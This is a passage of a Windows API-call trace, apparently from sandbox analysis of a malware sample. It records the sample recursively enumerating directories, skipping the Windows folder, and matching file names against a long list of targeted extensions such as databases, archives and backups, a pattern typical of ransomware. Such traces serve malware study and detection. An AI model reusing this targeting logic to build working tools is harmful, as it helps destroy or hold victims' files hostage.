lpFindFileData=0x38ef800) returned 1 [0040.981] FindNextFileW (in: hFindFile=0x4280780, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0040.981] FindNextFileW (in: hFindFile=0x4280780, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0040.981] FindNextFileW (in: hFindFile=0x4280780, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0040.981] FindNextFileW (in: hFindFile=0x4280780, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0040.981] FindNextFileW (in: hFindFile=0x4280780, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0040.981] FindNextFileW (in: hFindFile=0x4280780, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0040.981] FindClose (in: hFindFile=0x4280780 | out: hFindFile=0x4280780) returned 1 [0040.982] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0040.982] FindNextFileW (in: hFindFile=0x42805c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 0 [0040.982] FindClose (in: hFindFile=0x42805c0 | out: hFindFile=0x42805c0) returned 1 [0040.982] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x690000) returned 1 [0040.983] FindNextFileW (in: hFindFile=0x6a9a18, lpFindFileData=0x38efcf8 | out: lpFindFileData=0x38efcf8) returned 1 [0040.983] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4270048 [0040.984] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 0x4280200 [0040.984] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0040.984] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0040.984] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0040.984] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280840 [0040.985] FindNextFileW (in: hFindFile=0x4280840, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0040.985] FindNextFileW (in: hFindFile=0x4280840, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0040.985] FindNextFileW (in: hFindFile=0x4280840, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0040.985] FindClose (in: hFindFile=0x4280840 | out: hFindFile=0x4280840) returned 1 [0040.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0040.985] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0040.985] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0040.985] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280800 [0040.985] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0040.985] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0040.985] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0040.985] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0040.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0040.985] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 0 [0040.986] FindClose (in: hFindFile=0x4280200 | out: hFindFile=0x4280200) returned 1 [0040.986] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x690000) returned 1 [0040.986] FindNextFileW (in: hFindFile=0x6a9a18, lpFindFileData=0x38efcf8 | out: lpFindFileData=0x38efcf8) returned 1 [0040.987] FindNextFileW (in: hFindFile=0x6a9a18, lpFindFileData=0x38efcf8 | out: lpFindFileData=0x38efcf8) returned 1 [0040.987] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4270048 [0040.987] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 0x42800c0 [0041.078] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.086] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.087] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.087] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280500 [0041.113] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.113] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.113] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.113] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.113] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.113] FindClose (in: hFindFile=0x4280500 | out: hFindFile=0x4280500) returned 1 [0041.118] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.118] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.118] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.118] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280580 [0041.121] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.121] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.121] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.121] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.121] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.122] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0041.123] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.123] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.123] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.123] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280700 [0041.124] FindNextFileW (in: hFindFile=0x4280700, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.124] FindNextFileW (in: hFindFile=0x4280700, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.124] FindNextFileW (in: hFindFile=0x4280700, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.125] FindNextFileW (in: hFindFile=0x4280700, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.125] FindNextFileW (in: hFindFile=0x4280700, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.125] FindClose (in: hFindFile=0x4280700 | out: hFindFile=0x4280700) returned 1 [0041.125] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.125] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.125] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.125] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x42801c0 [0041.127] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.127] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.127] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.127] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.127] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.127] FindClose (in: hFindFile=0x42801c0 | out: hFindFile=0x42801c0) returned 1 [0041.128] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.128] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.128] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.128] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280140 [0041.129] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.129] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.129] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.129] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.130] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.130] FindClose (in: hFindFile=0x4280140 | out: hFindFile=0x4280140) returned 1 [0041.130] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.130] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.130] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.130] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280540 [0041.131] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.131] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.131] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.132] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.132] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.132] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0041.132] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.132] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.133] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.133] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280200 [0041.134] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.134] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.134] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.135] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.135] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.135] FindClose (in: hFindFile=0x4280200 | out: hFindFile=0x4280200) returned 1 [0041.135] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.135] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.135] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.135] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280500 [0041.136] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.136] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.137] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.137] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.137] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.137] FindClose (in: hFindFile=0x4280500 | out: hFindFile=0x4280500) returned 1 [0041.137] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.137] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.138] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.138] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280300 [0041.138] FindNextFileW (in: hFindFile=0x4280300, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.138] FindNextFileW (in: hFindFile=0x4280300, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.139] FindNextFileW (in: hFindFile=0x4280300, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.139] FindNextFileW (in: hFindFile=0x4280300, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.139] FindNextFileW (in: hFindFile=0x4280300, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.139] FindClose (in: hFindFile=0x4280300 | out: hFindFile=0x4280300) returned 1 [0041.139] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.140] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.140] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.140] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280540 [0041.141] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.141] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.141] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.141] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.141] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.141] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0041.142] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.142] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.142] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.142] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280500 [0041.142] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.142] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.143] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.143] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.143] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.143] FindClose (in: hFindFile=0x4280500 | out: hFindFile=0x4280500) returned 1 [0041.143] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.143] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.143] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.143] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280180 [0041.146] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.146] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.146] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.146] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.146] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.146] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0041.147] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.147] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.147] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.147] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280500 [0041.148] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.148] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.148] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.148] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.149] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.149] FindClose (in: hFindFile=0x4280500 | out: hFindFile=0x4280500) returned 1 [0041.149] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.150] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.150] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042") returned 26 [0041.150] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1042") returned 1 [0041.150] lstrlenW (lpString="1042") returned 4 [0041.150] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1042") returned 1 [0041.150] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.150] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042") returned 26 [0041.150] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280300 [0041.150] FindNextFileW (in: hFindFile=0x4280300, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.150] FindNextFileW (in: hFindFile=0x4280300, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.150] lstrlenW (lpString="eula.rtf") returned 8 [0041.150] lstrlenW (lpString=".1cd") returned 4 [0041.150] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0041.150] lstrlenW (lpString=".3ds") returned 4 [0041.150] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0041.150] lstrlenW (lpString=".3fr") returned 4 [0041.150] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0041.150] lstrlenW (lpString=".3g2") returned 4 [0041.150] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0041.150] lstrlenW (lpString=".3gp") returned 4 [0041.150] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0041.150] lstrlenW (lpString=".7z") returned 3 [0041.150] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0041.150] lstrlenW (lpString=".accda") returned 6 [0041.151] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0041.151] lstrlenW (lpString=".accdb") returned 6 [0041.151] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0041.151] lstrlenW (lpString=".accdc") returned 6 [0041.151] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0041.151] lstrlenW (lpString=".accde") returned 6 [0041.151] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0041.151] lstrlenW (lpString=".accdt") returned 6 [0041.151] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0041.151] lstrlenW (lpString=".accdw") returned 6 [0041.151] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0041.151] lstrlenW (lpString=".adb") returned 4 [0041.151] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0041.151] lstrlenW (lpString=".adp") returned 4 [0041.151] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0041.151] lstrlenW (lpString=".ai") returned 3 [0041.151] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0041.151] lstrlenW (lpString=".ai3") returned 4 [0041.151] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0041.151] lstrlenW (lpString=".ai4") returned 4 [0041.151] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0041.151] lstrlenW (lpString=".ai5") returned 4 [0041.151] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0041.151] lstrlenW (lpString=".ai6") returned 4 [0041.151] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0041.151] lstrlenW (lpString=".ai7") returned 4 [0041.151] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0041.151] lstrlenW (lpString=".ai8") returned 4 [0041.151] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0041.151] lstrlenW (lpString=".anim") returned 5 [0041.151] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0041.151] lstrlenW (lpString=".arw") returned 4 [0041.152] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0041.152] lstrlenW (lpString=".as") returned 3 [0041.152] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0041.152] lstrlenW (lpString=".asa") returned 4 [0041.152] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0041.152] lstrlenW (lpString=".asc") returned 4 [0041.152] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0041.152] lstrlenW (lpString=".ascx") returned 5 [0041.152] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0041.152] lstrlenW (lpString=".asm") returned 4 [0041.152] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0041.152] lstrlenW (lpString=".asmx") returned 5 [0041.152] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0041.152] lstrlenW (lpString=".asp") returned 4 [0041.152] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0041.152] lstrlenW (lpString=".aspx") returned 5 [0041.152] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0041.152] lstrlenW (lpString=".asr") returned 4 [0041.152] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0041.152] lstrlenW (lpString=".asx") returned 4 [0041.152] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0041.152] lstrlenW (lpString=".avi") returned 4 [0041.152] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0041.152] lstrlenW (lpString=".avs") returned 4 [0041.152] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0041.153] lstrlenW (lpString=".backup") returned 7 [0041.153] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0041.153] lstrlenW (lpString=".bak") returned 4 [0041.153] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0041.153] lstrlenW (lpString=".bay") returned 4 [0041.153] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0041.153] lstrlenW (lpString=".bd") returned 3 [0041.153] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0041.153] lstrlenW (lpString=".bin") returned 4 [0041.153] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0041.153] lstrlenW (lpString=".bmp") returned 4 [0041.153] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0041.153] lstrlenW (lpString=".bz2") returned 4 [0041.153] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0041.153] lstrlenW (lpString=".c") returned 2 [0041.153] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0041.153] lstrlenW (lpString=".cdr") returned 4 [0041.153] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0041.153] lstrlenW (lpString=".cer") returned 4 [0041.153] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0041.153] lstrlenW (lpString=".cf") returned 3 [0041.153] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0041.153] lstrlenW (lpString=".cfc") returned 4 [0041.153] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0041.153] lstrlenW (lpString=".cfm") returned 4 [0041.153] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0041.153] lstrlenW (lpString=".cfml") returned 5 [0041.153] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0041.153] lstrlenW (lpString=".cfu") returned 4 [0041.153] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0041.153] lstrlenW (lpString=".chm") returned 4 [0041.153] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0041.153] lstrlenW (lpString=".cin") returned 4 [0041.153] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned 